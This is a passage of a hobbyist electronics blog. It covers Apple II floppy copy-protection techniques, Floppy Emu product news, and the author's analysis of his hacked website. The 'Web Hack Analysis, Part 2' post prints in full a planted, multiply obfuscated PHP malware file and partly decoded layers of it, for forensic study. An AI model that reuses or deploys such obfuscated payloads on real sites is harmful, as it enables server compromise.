BMOW title
Floppy Emu banner

Apple II Copy Protection

apple-ii-floppy

Growing up during the heyday of Apple II computers, I learned about something mysterious called copy-protection. This meant floppy disks could be used to run software, but the software couldn’t be copied to other floppy disks. As a 10-year-old nerd, this left me confused. Running a game or other piece of software required reading the data from the disk. Copying the disk required reading that same data, then writing it back to another disk. How could it be possible for a floppy to be readable when running a program, but not readable when copying the program? It didn’t seem to make sense.

Years later I learned more about copy-protection, and my experiments with Floppy Emu have also provided insights into floppy-specific copy protection methods. It’s fascinating stuff, so let’s look at it! We’ll begin by examining how Apple II floppy disk access works in the normal case, then we’ll see some of the abnormal tricks that were used to implement copy protection. We’ll also look at how floppy access on the original Macintosh differed from the Apple II, and how this affected copy protection.

 
Floppy Fundamentals and Limitations

A floppy disk is a wheel-shaped disc of magnetic media with a hole in the center. The data is stored in a series of concentric circles, called tracks. Unlike the single spiral groove on a phonograph record, each track on a floppy disk loops back onto itself, and does not intersect or overlap the other tracks. The disk spins continuously with a constant speed and direction, while a stepper motor moves the read/write head inward and outward as needed. To access a specific piece of data, the head must step in/out until it’s over the correct track. To find the desired information, the computer then begins reading data from the track, starting with whatever portion of the track happened to be passing under the head at that moment. It keeps reading until it recognizes a marker for the desired information, then it reads the information itself immediately afterward. The access time is the sum of the time needed to position the head over the proper track plus the time needed to wait until the desired data passes under the head (on average, half a rotation of the disk).

circular-buffer2

On an Apple II floppy disk, a track is just a circular buffer of about 50,000 bits, with nothing to mark its beginning or end. Even the boundary between one byte and the next is unknown, so framing the bitstream into bytes correctly requires additional work. The disk controller must rely on the first fundamental rule of Apple floppy disks: the most significant bit of a disk byte must always be 1. If at any time the disk controller reads a byte whose MSB is not 1, then the byte framing must be wrong. Adjust the framing by one bit, and try again.

The disk controller must also honor the second fundamental rule of Apple floppy disks: a disk byte may contain no more than two consecutive zero bits. While the first rule is an arbitrary choice to make framing easier, the second rule is a physical limitation imposed by the way data is encoded magnetically. A 1 bit is stored as a reversal of the magnetic polarity on a region of the disk, while a 0 bit is stored as no reversal of magnetic polarity in that region. With too many consecutive zero bits, you’ll get too large of an area with no magnetic reversals. I’m unsure exactly what problem this leads to – the magnetic field in that region becomes too weak, or the read circuitry loses synchronization maybe – but the end result is that it’s forbidden to have more than two consecutive zeroes.

 
GCR Encoding

gcr

But wait a minute: if the MSB must always be 1, and consecutive zeroes are limited to two, that rules out more than half of all possible byte values. How can you store arbitrary data on a floppy disk, if more than half the possible byte values are forbidden? The answer is that program data and files aren’t stored directly on the floppy disk. Instead, their bytes are encoded in a process that converts logical bytes to disk bytes. On the Apple II, this process is called 6-and-2 Group Code Recording, or just GCR for short. There are 66 possible byte values that satisfy fundamental rules 1 and 2. Setting aside two of these as reserved, this leaves 64 possible disk byte values: enough to encode 6 bits of logical data with a lookup table, because 2 ^ 6 = 64. This means that every three bytes of logical data (24 bits total) will be stored on the floppy disk as four bytes of disk data (one of 64 possible values per byte, so 6 bits per byte, 24 bits total). Thus, data undergoes an expansion of 33% in size when it’s stored on a floppy disk.

 
Sectors

By itself, the GCR encoding scheme isn’t enough to build a working floppy-based file system. We also need some way to identify where a track begins, and where specific pieces of data lie within a track. On the Apple II, a track is divided into 16 sectors, with 256 bytes of logical data per sector (342 actual disk bytes due to the 33% GCR overhead). The start of each sector is marked with the magic byte sequence D5 AA 96. Because two of those magic bytes are the two reserved values that meet rules 1 and 2 but aren’t used for GCR, this sequence is guaranteed never to occur in the middle of other encoded data. After this sequence lies a few other bytes of header data: the sector number, track number, etc, and then (glossing over some details) the sector data itself. After the sector data, there’s a checksum and another magic sequence to mark the end of the sector.

It’s important to realize that sectors are just arrangements of data in a track. There’s no physical boundary that separates them, and nothing special about them except that they’re regions of data marked with certain magic bytes. Normally the last byte of a sector is not followed by the first byte of the next sector, but instead, there’s a series of so-called self-sync bytes between them. The sync bytes don’t contain any information, but they’re organized in a way that takes advantage of fundamental rule #1: the MSB of a disk byte must always be 1. No matter where the disk controller begins reading and framing bytes in the middle of a series of sync bytes, it will always end up with the correct byte framing after reading at most 5 sync bytes. So a standard floppy disk will always have at least 5 sync bytes between the bytes of two consecutive sectors.

If you search the web for illustrations of a floppy disk’s tracks and sectors, you’ll find lots of diagrams like this:

floppy-disk-wrong

That diagram is misleading in several respects. On a real floppy disk, the sectors in each track aren’t aligned with those in the neighboring tracks, but instead each track is staggered from the next by some random amount. Sectors in the same track aren’t immediately adjacent to each other either – there’s actually a small gap between one sector and the next. Nor are tracks truly adjacent to each other. A real floppy has unused space between one track and the next outer and inner tracks. Here’s a better diagram of a hypothetical three-track floppy disk, showing the stagger offset between sectors in adjacent tracks, the inter-sector gap, and the space between tracks:

floppy-sectors

 
Booting from Floppy

When you insert a floppy disk, and reset the Apple II or type PR#6, a small piece of code is run from the disk controller’s ROM. This code knows how to step the head to track 0, look for D5 AA 96, and examine sector headers to find sector 0. Once it finds it, it loads 256 bytes of data from sector 0 into memory, assumes that this data is executable code, and runs it. What happens after that depends on the software, and the code that was loaded from sector 0. Normally this bootstrap code will load additional code and data from other sectors on the disk, until the whole program is loaded and ready to run.

 
Copying a Floppy (or not)

A simple disk copy program assumes that the floppy being copied is organized in the standard way: 35 tracks, 16 sectors per track, 256 bytes per sector, with a particular checksum algorithm, and D5 AA 96 marking the start of each sector. It attempts to read the data from each sector into memory, then it writes the same data out to a new floppy disk. If anything goes wrong during reading the sectors from the original disk, the copy process will fail.

The crux of copy-protection is this: the bootstrap code loaded from sector 0 has total control over the floppy disk drive and the way the data in other sectors is encoded. Only sector 0 must be encoded and stored in the normal way, so that the initial ROM routine can load it. Thereafter, the software’s bootstrap code has no obligation to follow the standard conventions for track layout, GCR encoding, sector marker magic sequences, or anything else. In fact, pretty much everything is up for grabs.

When this sector 0 bootstrap code is running with the original floppy disk, it knows how to find and load data from the other sectors, using whatever tricky mechanisms the developers used to tweak the standard organization of a floppy disk. But when a disk copying program is running, it sees sector 0 as just part of the data to be copied, and it attempts to copy all the other sectors using the standard methods too. If the copy-protection is good, this attempt will fail, because a sector checksum somewhere will appear invalid, or a sector can’t be found on the track where it was expected, or some other similar problem. Or in some cases the copying will appear to succeed, but then the copied disk won’t work.

The art of cracking copy-protected software involves examining the code stored in sector 0, and analyzing it to understand how it works. With persistence, this will reveal what tricks were used to obfuscate the data in the other sectors. The cracker can then deobfuscate the data, and create a new non-protected floppy disk using the standard disk methods.

 
Data Tweaks

The easiest way to defeat a simple disk copy program is to alter the sector data in some way that’s consistent, but different from the standard.

Magic Bytes: Who says D5 AA 96 must mark the start of a sector? A copy protected disk might use D5 D5 96, or some other sequence that works just as well, assuming you’re looking for it. But a simple disk copy program will only be looking for D5 AA 96, so it will never find the start of those sectors. It will appear as if the disk is empty.

Checksums: Each Apple II sector is checksummed using a simple algorithm. (See the book Beneath Apple II DOS if you’re curious.) But there’s nothing magic about that algorithm, and a copy protected disk might use another. To the sector 0 bootstrap code, this would be no problem as long as it knew how to compute the new checksum. But to a disk copy program, it would appear as if every sector had a checksum error, and the disk was corrupted.

Bad Sectors: A bad sector that was never intended to be read might be intentionally placed on the original floppy. The program code would know to ignore this sector and not even try to read it, but a disk copy program would try to copy it, and fail.

Duplicate Sectors: Multiple copies of the same sector might be placed in a track, with each copy offset by 90 or 180 degrees along the track’s circumference. These duplicate sectors would contain different contents. Depending on where the head was located within the track when the computer began looking for the sector, it might read any of the copies. On the original floppy disk, repeated reads of that sector would therefore appear to return different results. But a copy of the original disk would contain only one instance of the sector, and so would always return the same result. The bootstrap code could use this difference in behavior to detect whether the floppy were original or a copy.

Sector Size: How about 512 bytes per sector instead of 256? To a standard disk copy program, it would be unintelligible.

More: Offset the sector numbers by some constant delta, insert a pad byte somewhere, disguise the headers with an XOR trick…

 
Hidden Data

Normally the bytes between the end of one sector and the start of the next are just self-sync bytes. But what if you stored a magic byte sequence in there, and added a routine to the bootstrap code to verify it’s there? A standard disk copy program will only copy the contents of the sectors, and not the apparently useless sync bytes between the sectors. So the copy will appear to succeed, but the copied disk won’t run correctly because the check for the magic byte sequence will fail.

 
Encoding Tweaks

GCR uses a standard lookup table to convert six bits of logical data into a disk byte, and also to do the reverse translation. But who says a copy-protected program has to use the standard GCR table? Or for that matter, who says it has to use GCR at all? A clever copy-protection designer could use any method he wanted to encode logical bytes as disk bytes, as long as rules 1 and 2 are still satisfied. But a different encoding method from the standard would be unintelligible to most disk copy programs.

 
Track Hacks

There are 35 tracks on a standard Apple II floppy disk: 35 concentric circles that store data. But the positions and radii of these circles are arbitrary, and there’s no physical track structure on the disk media. Instead, the media is just one continuous piece of magnetic material. Tracks are packed as close to each other as possible, up to the limit where the magnetic field of one track would interfere with its neighbors if they were any closer. An interesting detail: the stepper motor that moves the drive head has a 4x higher resolution than the distance between tracks. It takes four steps of the head to move from one data track to the next. So on a standard floppy disk, if the head is on track 0, it must go step-step-step-step to reach track 1, then step-step-step-step to reach track 2, etc.

So what happens if you’re at track 1, and the drive goes step-step? Where is the head now? It’s on a region of the floppy disk halfway between where track 1 and track 2 are normally stored, which we’ll call track 1.5. You can’t store any data at track 1.5 without interfering with data in track 1 and track 2, because they’re too close together. But a clever copy-protection author can sacrifice a little bit of disk capacity in order to store hidden data in these intermediate non-integer numbered tracks. For example, there might be data on tracks 1, 2, 3, 4.5, 6, 7, 8 etc. A standard disk copy program would see no data on tracks 4 and 5 where it expected it, and it would overlook track 4.5 entirely. Sneaky! The same technique can also be used to make quarter tracks, like track 3.25.

Half and quarter tracks could also be used to measure position dependencies between data in adjacent tracks. For example, during mastering of the original disk, the drive might write a few sectors to track 1, then step to track 1.25 and immediately write more. As long as the track 1.25 sectors didn’t occupy the same part of the track perimeter as the track 1.0 sectors, there would be no magnetic interference. When running the software, the bootstrap routine could read the sectors from track 1, then step to 1.25 immediately after the last sector, and verify that the next thing on track 1.25 was the expected additional sectors. Even a special disk copying program that could handle quarter tracks would have trouble with this, because the relative positions of sectors in tracks 1.0 and 1.25 would not be preserved in the copied disk.

 
You Big Cheater!

Spyro_3_hidden_message_for_pirates

Many Apple II games appeared to copy successfully, but if you ran the copy, you would eventually reach some kind of roadblock complaining “you stole this game!” or otherwise chastising you for making a copy. It’s not hard to see how this might have been done. If we assume the game’s critical initialization code is in sector 1, there might be two copies of sector 1 on the original floppy disk. The real version might have a non-standard sector marker like D5 D5 96, and the decoy version would have the standard sector marker D5 AA 96. A standard disk copy program would copy the decoy version of sector 1 and ignore the real version. If the decoy version contained code to display a “you big cheater” message, it would be displayed when you attempted to run the game from the copied disk.

 
Macintosh Copy Protection

Although the original Macintosh used a different size and capacity of floppy disk than the Apple II, it still employed a very similar sector structure, with the same GCR encoding method and D5 AA 96 magic sequence to mark the beginning of each sector. In theory, the same types of copy protection tricks used on the Apple II could also have been used on the Macintosh, but in practice relatively few Macintosh programs were copy protected.

Strike 1 against Macintosh floppy-based copy protection: The floppy disk drive on the Macintosh was not capable of quarter or half stepping. This ruled out all the sneaky fractional track methods of copy protection.

Strike 2: The API routines that were used to read and write data from a floppy were considerably more complex on the Mac than the Apple II, and unlike the Apple II, their source code listings were not published. The Mac floppy I/O routines were also asynchronous, designed to run simultaneously with other activity on the mouse, keyboard, or serial port. Embedded in these routines were all the assumptions about D5 AA 96, checksums, sector sizes, and so forth. It would have been possible for a program to bypass all these routines and access the floppy controller (IWM chip) directly, and do the same kind of data or encoding tweaks that were common on the Apple II. But the complexity of the task and the difficulty of multitasking floppy access with mouse and serial port meant that few developers attempted it.

Strike 3: Two years after the introduction of the Macintosh, SCSI hard disks were introduced, and customers began to expect that all software would be installed to their hard disk rather than running directly from the floppy. A program that used floppy-based copy protection would make that impossible, angering customers and hurting sales.

Macintosh-floppy-disk

 
Story Time!

Did you ever work on a copy protection system on the Apple II or another vintage computer system, either as the copy protection developer, or as a cracker? Did I overlook any especially sneaky methods of copy protection, or botch my explanation somewhere? Please leave a note in the comments below, let’s hear your story!

Read 8 comments and join the conversation 

GS/OS 6.0.2 for Floppy Emu

welcometo602

If you follow the Apple II world, then you probably already know that a group of hobbyists recently released GS/OS 6.0.2 – a new version of the Apple IIGS operating system based upon Apple’s last official version from 1993. This new version includes many bug fixes and added features.

To make life easier for Floppy Emu owners, I’ve created this pre-configured GS/OS 6.0.2 hard disk image. It’s a 32 MB ProDOS disk image with GS/OS 6.0.2 already installed and ready to go. If your Floppy Emu has the Apple II firmware installed and is set for Smartport mode, then all you need to do is copy the smart0.po file onto your SD card, and power up your IIGS to begin exploring 6.0.2. Even if you don’t have a Floppy Emu, this disk image should also work with other Apple II hard disk emulators – it’s just a generic ProDOS disk image.

Some software-based Apple IIGS emulators like Sweet16 don’t like ProDOS disk images that are larger than 800K. For those, I’ve also created a pre-configured GS/OS 6.0.2 hard disk image in 2MG format. This 2MG disk image will also work with Floppy Emu, but I/O performance will be worse than with the PO disk image, so the PO version is preferred.

Read 4 comments and join the conversation 

Nibbler PCB Build

nibbler-buchholz

William Buchholz has designed and built a PCB version of my Nibbler 4-bit CPU for his local hackerspace. Nibbler is built entirely from standard 7400 series logic chips – individual counters, registers, buffers, and gates. It’s an educational example of a simple CPU that’s easy to understand and build, but still capable of running games and other interesting programs.

In addition to converting my messy wire-wrap job into an elegant PCB, William also made some component substitutions, including a larger program ROM. Using jumpers connected to the upper 5 address lines, you can select between several different programs without having to reprogram the ROM. More photos of William’s work are here and the schematics and design files are here.

Read 2 comments and join the conversation 

New Product: Universal Adapter Extension Cable

universal-adapter-with-cable-large

Today I’m announcing the Universal Adapter for Floppy Emu, which improves the emulation behavior with certain Apple II system configurations. If you use the Emu exclusively with Macintosh and Lisa computers, then you won’t need this. Apple II users, check the table below to see if your intended usage would benefit from the Universal Adapter:

Emulation Type Standard Adapter Universal Adapter
Macintosh
   3 1/2 inch floppy disk ok-green ok-green
   HD20 hard disk ok-green ok-green
Lisa
   3 1/2 inch floppy disk ok-green ok-green
Apple II, II+, IIe
   5 1/4 inch floppy disk 1437100947_ko-red [1] ok-green
Apple IIc
   5 1/4 inch floppy disk ok-green ok-green
   Smartport hard disk ok-green ok-green
Apple IIc+, IIgs
   5 1/4 inch floppy disk ok-green ok-green
   3 1/2 inch floppy disk 1437100947_ko-red [2] ok-green
   Smartport hard disk ok-green ok-green

[1] Reading the disk works, but writing does not
[2] Apple IIgs with ROM 01 can boot from a 3 1/2 inch disk


The Universal Adapter also contains a protection resistor to guard against accidental damage when switching between the Floppy Emu firmware for Apple II and the firmware for Mac/Lisa. With the Standard Adapter, if a Floppy Emu board running the Apple II firmware is accidentally plugged in to a Mac or Lisa, it could damage the Emu or the computer.

To use the Universal Adapter, set its slide switch to the appropriate position, depending on the selected emulation mode of the Floppy Emu. If the Emu is set to 3 1/2 inch floppy disk mode, then set the switch to the “3.5” position. If the Emu is set to any another mode (5 1/4 inch floppy, HD20 hard disk, Smartport hard disk), then set the switch to the “other” position. Setting the switch to the wrong position won’t harm anything, but it may cause disk-related errors.

universal-adapter-alone

So how does the Universal Adapter work, and how does it differ from the Standard Adapter? The Standard Adapter is a passive device that maps the 19 pins of a male DB-19 connector to the 20 pins of a male 10×2 shrouded header. It rearranges the order of the signals on the pins, but it doesn’t alter them or affect them in any way. In contrast, the Universal Adapter is an active device with an on-board IC that helps with Apple II disk connections. Because the Floppy Emu hardware was originally designed for the Macintosh, it can’t handle some Apple II disk signals correctly, so the Universal Adapter does the necessary interface work. Depending on the switch setting, the disk drive enable signal from the computer may be modified before it’s passed on to the Floppy Emu, and some signals will be forced to different voltages.

It’s OK to use the Universal Adapter with a Mac or Lisa computer, even though it’s not needed for those systems – that’s why it’s called “universal”. People who use a single Floppy Emu board with both Mac and Apple II computers may find this convenient.

The Universal Adapter is available for sale now at the Floppy Emu product page. It includes a detachable three foot extension cable (about 1 meter), just like the Standard Adapter/Cable, and it’s available by itself or bundled with a new Floppy Emu board.

Be the first to comment! 

Web Hack Analysis, Part 3

last-logins

Web Site Hacked
Web Hack Analysis Part 2
Web Hack Analysis Part 3

I believe I’ve identified how the hack on my websites occurred, and it wasn’t a WordPress vulnerability. It looks like the hacker got my Linux user password somehow, and then used ftp to login and modify the files on my web sites. Using the Linux command “last”, I generated a list of all logins from the past month, showing the method of login and the IP address. The result is shown above (I’ve blurred out my username because I’m starting to get paranoid, but it probably doesn’t matter).

There are lots of logins from 73.15.247.250 – that’s me. Some were console logins using ssh, and some were ftp logins. But on July 10 at 4:53 AM, there was an ftp login from 104.238.150.48. And not coincidentally, my site’s index.php file was modified 1 minute later, at 4:54 AM. Bingo.

Unfortunately the logs only go back a few days, so I can’t find any earlier instances of suspicious logins. And the FTP logs don’t even go back as far as July 10, so I can’t tell exactly what the hacker did when he connected by ftp.

So how did somebody get my password? Most likely it was due to my use of plain-old ftp for transferring files from my local machine to the web site, which sends my password over the internet in plaintext every time I log in. I knew it was insecure, but I did it anyway because it was convenient, and I figured “what could happen?” Well, this is what could happen. So I’ll be using sftp from now on.

If you’re a security guru or Linux know-it-all type, feel free to tell me what a dumb-ass I am. Believe me, I’m telling myself the same thing.

Read 7 comments and join the conversation 

Web Hack Analysis, Part 2

61D+GUCRFCL._SL1000_

Web Site Hacked
Web Hack Analysis Part 2
Web Hack Analysis Part 3

Yesterday I described how the BMOW web site had been hacked, and my efforts to clean it up. Today I began looking at some of the hack scripts that were left behind, to try to understand how they work. It’s a fascinating glimpse into the mind of a malware author. The more I dug into it, the more it began to resemble peeling the layers of an onion, or opening a set of Russian nesting dolls.

The hack scripts are written in heavily obfuscated PHP. Some new PHP code was added to the beginning of the existing index.php file, and three new PHP files were also placed on the site. For this analysis, I examined one of the new files, named your.php. Here’s the file in its entirety:

<?php
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x
65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'TVXHCuxGEPwXX2yjwyoHfFKWVjkH3kU5x1X+e
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
NR/QJjf/vzrbw=='\x29\x29\x29\x3B");
?>

OK, it’s calling eval() on some long string. The first few dozen characters of that string are written using ASCII escape sequences, as well as the last four characters. For example, /x65 means the ASCII character with value 65 (hex), which is a lower case e. Presumably this is done in order to further obfuscate the code’s true nature. If we substitute the ASCII characters for each escape sequence, then the script will look like this:

<?php
eval("eval(gzinflate(base64_decode('...big long encoded string...')));");
?>

We want to look at the real program, the piece of text that’s been base64 encoded and gzipped here. So I stripped off the leading eval() calls, since we only want to look at the program’s code, not run it, and changed it to an echo() call instead. Then I ran the modified program in a local PHP interpreter. It revealed that the real program is this:


eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65
\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'xVW3DuwGDvwXN/ZhC+UEw4VyzmEl4TWSVjnn8PVe+
xm4K653MRhwZggQZMH8SLrffvlx4diPi8C/DH3B/rhg8svEV6O/TH3Bf4H/9P7KEOjPnr9z8D8a8lNDvjn
k62PCt/4nh//l/U8Nk7+692G4N6E8OuW5ent4LT7pHA/pXur7bLurH8WfzbRmaDVw6CBlknfENnojc4k+e
zTCbGqvO6EYt8zKd0bVl2nbgxz/8MydabhrZC6tqCWDtZxR+1zCj5VXOtVYCu0NCUzL+e9JSQIht8fZdca
5dtghkeUuKfk/fv1OSP0XCPPLf37P/71VGbElcdsWcXwY9gkZMULXonKo+uDbrqJ5Q+ZdSFl3sZgghd5TY
Z1ovz5lmeudVrIcqhUIgVFUUbxAHyglYvtYJU92hYnTL16j4PU4jwkdrQPegeylItQRStvrtjqAQMEDgLi
LPKiifAgQOELo9SrY4b1Ze04BeoOcvUsbDbKAZhQzLYE+eUzLnpFtMpR8pz06xfloWaGEyYdefAhs3VDUh
LlyF+UFLRNMSY/PBCZDJI6ghWUyRNgrmUroxhAcBjuucG/rVZnwEey0LUJBwFDbm3K1GSJHBCYLLQ15QIF
Dt9ZQ0YSEcDR0ZKgo+rKMku6jidXAKuZvQTTiVUiKnGPtmD4OQL1rXRrJDHxzRYdH2Lsm+4KqhiytMwrZx
z2LxMY+CaGEKAs+mJhC0WvXBYJDYbli2COKFQVk1mgmGzkffQWm49ma2dOY7SYDidA45GLVTQbiqtw7ZCe
0orG0IOgxuV6L9Yiqj1C57HYuwqfk8dZ0FqRGjCHU10ywYS4nh7165ffTDDA2uDNFAeV7ihm7V2XxPo+Hk
YhmrUE0C43Ewtd9qjCz0+do4VETHUAPzx6u1zHFIcIdkD2xcEydYjajMvVXv8yOVjB4GoTDIe0BFXrZbgm
fCm9EGZnZxIU7884EEe18ZHtykX1xvfEayqaYw+aNUYymAMkxpwKGRyzpa/0Mby9JLsvNk8eKknYnkmkxT
8Gb2nwUIaS82S8RR/tpt3VB8qDPJwIlhvdqlTshR7aTu5bSHfDdPmPp3kJBrRi9bmYcxUbeH3mo6fJspU0
REcAI6cpwFdmksYKl202zTeg60Zv5KCrBEQhb1Q3ehoLKOKvlTzKEL4ueYnGVwXhfi2jyHi7MOKSuuWeTm
hIq8p4OBiM6Ojgnw7XnwgaxNSVIoGN/heIiMGRtTz/vHTXhT3zE3eEN+2MaxnCJXS6wxKp3nBQrO5wC2O0
glaHsuBreAWPrhFVhnIPnwovYU8cS80j2JHWclGmTlY9NVbkRkvp9NpLMpL0NPHm4yBE6pkcMb+97ZDvLj
vWS11SwT6dohDgGnOj3RPHv5zSDxBl4jR5zlAo1VxbnBxDypUtc7dUuNTwZmRBGeWpWMyRWw4G7msG5HyT
w3+Q7BrTSF44UvLqcRhYXfaxKDYa+Xi9v9WDUf90yQS8fVZBhPmnPvjyziuFCKButGSulbFzYRnNLEdU+H
e6OVb7kKYL2x7KmDnmp2GuhC8rBg0G44ecZOry1eY4dZqQUUpNKA7i6RcMXl2zAm+haHbDTCU7AloNQh65
1rXCY2Bz0RlC69z3MjbGKGaquHX12Bo2H6LPSBK2i/CpvazGArxtPqEVxBQ9AnVxbx8Plnc7yav3qHqIzH
RRBHeypQyNGybPZel8zAxfDBfR7cFecvW3jxidzcnWdm6sjj5bdroXVzAInswdBfNysHt9WZzJihaE2yNS
9mhHqdoIDk1jJDcPvHv67WS9oROTc7XRcsQa7khPjudHX3wjLZ83VNApaLuGmajgo7GPVCx8qSTI+xcQON
o24RXftqauhlR24WvicsmLiA4FS6C2qxeUf12cs00E6pHdDRk32crfNYDph2V9FWcL2NBSzU52D60PNkU4
NmDOhPJ4blBd6XE260QABwCsvpOP84/++uj8B'\x29\x29\x29\x3B");

Haha! If one layer of eval(gzinflate(base64_decode(…))) is good for obfuscation, than two layers must be better right? Apparently the malware author thought so. Let’s apply the same technique again to reveal the hidden code:


eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65
\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'SyvNSy7JzM9TSMkvTk6pMDE1MTbUUCkuKdJUqObiB
AKVRAVbBaWYCjMjIDaMqTA3BtKmMRXGZkBsElNhmgbkm0DEzEBycL6SNcSAJKgB5kDNiUDaEohTgRhogFk
y1FBkDUWpJaVFeQoqSRoqiRCnaIIlagE='\x29\x29\x29\x3B");
eval("\x65\x76\x61\x6C\x28
\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63
\x6F\x64\x65\x28'NZPHDttYDEXXma8YBFlk4IXKU0WQhYqt3quFbCSrPBVb1WpfPw4mszggeMlLgCD4L
f37599ff+0U/gH7tdPgE8lfO6A+EL92svwvp4oPv2u/c+K39vXHt+yPl/740v/1Dx8v9fgz70/vX1++fCn
WtPue9/Mj3wmSANj3r0OYZBk74zeZAITNctI1aXmavlJRdLcfJXadArU10kSXGLFqhSrJ+1rp29HzUBVOB
7aRFLXganY5+apg1y53620lDfSyP+hO2vVuAQG1VVB9tW9SLq18o328fLbXE/J2XSiL4GO1FXoNM3nh9Ax
PNgAmYpCL0hZEyFGNZsFafeDCQZAvv/KyiMHo8c0WDfl6Y5Wi8mf9hncbic93uoucYGjQw7Fg19P2vBZ94
4xuMF7D42IhBCvYZJJ0BsYq8jIeoUJ2AZqPqCwNqQjc07XNvIfsMOB1DheTvIRXPYogP11zODmLZMY9ivX
JxQkqfXzgE6kORr3i3NnXMscFQ2De8nuh+eyzjn25nSq99/gWpZBQmKIGywvzBH7jsi04cXNaP6suph5Ol
MqYrE4O4n0T6czDmM5JR7Xu/ITGfROM9BtNhOM+mrqRLfB6bVXnvHuV9XTcuPFdh6jGI3qCaS2lOycFG4l
U3tzeGC+DmN+ngjfqXjW59BLJ/avqbF56YC8ULmq2t+HIggtTIoh9HuRYIAGeb0y9tU437HejuxG64mpuQ
MFHT1ddY0HBETiKDw1RIQayiHbu/USmcCAmP40LfoTlqBRJQ3WdIniAgwkHtJG3/NXAhNSJIOA5fCAktLQ
O1xw4yBdJK7D73Chij6kXFKBRsPUpI16rrMb5Zhc26miG4aWnx5NvHljyqO9pa9YTzl20YAYvDRc6Lzx5n
GkOH1FAZUs1ZfVNILubdWu4O2dZvZlvTnuzONNnxGleFC7sMlDHZJu2b/5yR3hNJu6KXyVBQM7Ph5DR6eF
+7ubRPGeYITHKopJptIJdQ9heNX8MywjHIBbmQ/zeXrIY4obvZ2tWyoClPQZMgELK0mbpYo1DB0pAWp9EW
zwOVaRnELAoe49XLSIGqz/FerlaSL+kri2pNcFXYebOhq1Ghnv6SLNDSd3VUW8WZ/LgUFvb0xleA3rS4zP
hKVnmisxTsT24U+yI7ArdKFI2EakwmgwchBDX1coPq5gHcorCjLSgG4Ldl6Sohereb34mvrsbR8xK5+rAf
